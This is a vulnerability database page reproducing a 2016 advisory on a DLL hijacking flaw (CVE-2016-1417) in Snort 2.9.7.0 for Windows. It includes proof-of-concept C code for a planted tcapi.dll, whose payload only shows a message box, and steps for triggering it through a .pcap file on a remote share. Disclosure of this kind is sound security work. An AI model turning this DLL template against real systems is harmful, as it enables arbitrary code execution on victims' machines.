Lucene search
K

Snort 2.9.7.0-WIN32 DLL Hijacking

🗓️ 30 Sep 2016 00:00:00Reported by hyp3rlinxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Snort 2.9.7.0-WIN32 DLL Hijacking vulnerability in snort.exe allowing arbitrary code execution via tcapi.dll in remote share .pcap fil

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Snort Arbitrary Code Execution Vulnerability
12 Oct 201600:00
cnvd
CVE
CVE-2016-1417
23 Jan 201721:00
cve
Cvelist
CVE-2016-1417
23 Jan 201721:00
cvelist
EUVD
EUVD-2016-2516
7 Oct 202500:30
euvd
NVD
CVE-2016-1417
23 Jan 201721:59
nvd
OSV
CVE-2016-1417
23 Jan 201721:59
osv
Prion
Design/Logic Flaw
23 Jan 201721:59
prion
UbuntuCve
CVE-2016-1417
23 Jan 201721:59
ubuntucve
`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/SNORT-DLL-HIJACK.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
=============  
www.snort.org  
  
  
  
Product:  
===================  
Snort v2.9.7.0-WIN32  
  
Snort is an open-source, free and lightweight network intrusion detection  
system (NIDS) software for Linux and Windows to detect emerging threats.  
  
  
Vulnerability Type:  
===================  
DLL Hijack  
  
  
  
CVE Reference:  
==============  
CVE-2016-1417  
  
  
  
Vulnerability Details:  
=====================  
  
snort.exe can be exploited to execute arbitrary code on victims system via  
DLL hijacking, the vulnerable DLL is "tcapi.dll".  
If a user opens a ".pcap" file from a remote share using snort.exe and the  
DLL exists in that directory.  
  
  
Exploit codes(s):  
=================  
  
Create tcapi.dll  
  
#include<windows.h>  
  
//gcc -c tcapi.c  
//gcc -shared -o tcapi.dll tcapi.o  
  
BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){  
switch (reason) {  
case DLL_PROCESS_ATTACH:  
MessageBox(NULL, "DLL Hijacking", "Done!", MB_OK);  
break;  
}  
  
return 0;  
}  
  
1) create any empty file on a remote dir share with a .pcap extension  
2) place arbitrary DLL named "tcapi.dll" in remote share  
3) open with snort.exe  
4) BAM!  
  
  
  
  
Disclosure Timeline:  
=======================================  
Vendor Notification: April 21, 2016  
September 29, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
Medium  
  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation